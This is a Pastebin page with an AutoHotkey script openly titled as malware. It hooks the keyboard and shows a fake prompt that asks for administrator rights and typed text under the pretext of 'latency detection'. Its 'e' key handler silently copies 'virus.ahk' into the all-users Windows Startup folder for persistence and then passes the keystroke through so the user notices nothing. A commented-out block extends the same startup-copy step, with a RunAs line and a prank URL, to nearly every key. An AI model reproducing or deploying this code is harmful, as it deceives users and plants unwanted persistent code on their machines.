Advertisement
FlyFar

Stupid - AHK Malware

Jun 13th, 2023
1,203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Autohotkey 2.59 KB | Cybersecurity | 0 0
  1.  
  2. #NoEnv  ; Recommended for performance and compatibility with future AutoHotkey releases.
  3. SetWorkingDir %A_ScriptDir%  ; Ensures a consistent starting directory.
  4. ;SetWorkingDir, C:\AHK\2nd-keyboard\
  5. ;Menu, Tray, Icon, shell32.dll, 319 ;if commented in, this line changes the taskbar icon to a blue star. Beware that if you don't have shell32.dll, it'll be a blank icon!
  6. ;SetKeyDelay, 0 ;IDK exactly what this does.
  7. ; common startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  8. #NoEnv
  9. SendMode Input
  10. #InstallKeybdHook
  11. ;#InstallMouseHook ;use this if you have scripts that use the mouse.
  12. #UseHook On
  13. #SingleInstance force
  14. #MaxHotkeysPerInterval 2000
  15. #HotkeyModifierTimeout 60 ; https://autohotkey.com/docs/commands/_HotkeyModifierTimeout.htm
  16. #KeyHistory 200 ; https://autohotkey.com/docs/commands/_KeyHistory.htm ; useful for debugging.
  17. #MenuMaskKey vk07 ;https://autohotkey.com/boards/viewtopic.php?f=76&t=57683
  18. #WinActivateForce ;https://autohotkey.com/docs/commands/_WinActivateForce.htm ;prevent taskbar flashing.
  19.  
  20. ;RunAs, Administrator
  21.  
  22. ^!q::ExitApp
  23.  
  24.  
  25.  
  26. ^y::
  27. Gui, Add, Text,, This program must be run as an administrator. Please press a.:
  28.  
  29. Gui, Add, Text,, Please type "The quick brown fox jumps over the lazy dog" so the program can setect your latency.:
  30.  
  31. Gui, Add, Edit, vMyEdit -WantReturn
  32. Gui, Add, Button, Default, OK
  33. Gui, Show
  34. return
  35.  
  36. Escape::
  37. Gui, Destroy
  38. return
  39.  
  40. GuiClose:
  41. Gui, Destroy
  42. return
  43.  
  44. ButtonOK:
  45. Gui, Submit
  46. Gui, Destroy
  47. Return
  48.  
  49.  
  50. e::
  51. FileCopy, virus.ahk, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
  52. send e
  53. ;run https://www.youtube.com/watch?v=dQw4w9WgXcQ
  54. return
  55.  
  56. /*
  57. escape::
  58. F1::
  59. F2::
  60. F3::
  61. F4::
  62. F5::
  63. F6::
  64. F7::
  65. F9::
  66. F8::
  67. F10::
  68. F11::
  69. F12::
  70. `::
  71. 1::
  72. 2::
  73. 3::
  74. 4::
  75. 5::
  76. 6::
  77. 7::
  78. 8::
  79. 9::
  80. 0::
  81. -::
  82. =::
  83. backspace::
  84. tab::
  85. q::
  86. w::
  87. ;e::
  88. r::
  89. t::
  90. y::
  91. u::
  92. i::
  93. o::
  94. p::
  95. [::
  96. ]::
  97. \::
  98. a::
  99. RunAs, Administrator
  100. FileCopy, virus.ahk, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\
  101.  
  102. return
  103. s::
  104. d::
  105. f::
  106. g::
  107. h::
  108. j::
  109. K::
  110. l::
  111. '::
  112. enter::
  113. z::
  114. x::
  115. c::
  116. v::
  117. b::
  118. n::
  119. m::
  120. ,::
  121. .::
  122. /::
  123. space::
  124. PrintScreen::
  125. ScrollLock::
  126. ins::
  127. del::
  128. home::
  129. end::
  130. PgUp::
  131. PgDn::
  132. up::
  133. down::
  134. left::
  135. right::
  136. numpad0::
  137. numpad1::
  138. numpad2::
  139. numpad3::
  140. numpad4::
  141. numpad5::
  142. numpad6::
  143. numpad7::
  144. numpad8::
  145. numpad9::
  146. numpadins::
  147. numpadend::
  148. numpaddown::
  149. numpadpgdn::
  150. numpadleft::
  151. numpadclear::
  152. numpadright::
  153. numpadhome::
  154. numpadup::
  155. numpadpgup::
  156. numpadDiv::
  157. numpadMult::
  158. numpadSub::
  159. numpadAdd::
  160. numpadEnter::
  161. numpadDot::
  162.  
  163. ^c::
  164. run https://www.youtube.com/watch?v=dQw4w9WgXcQ
  165.  
  166. return
  167. */
  168.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement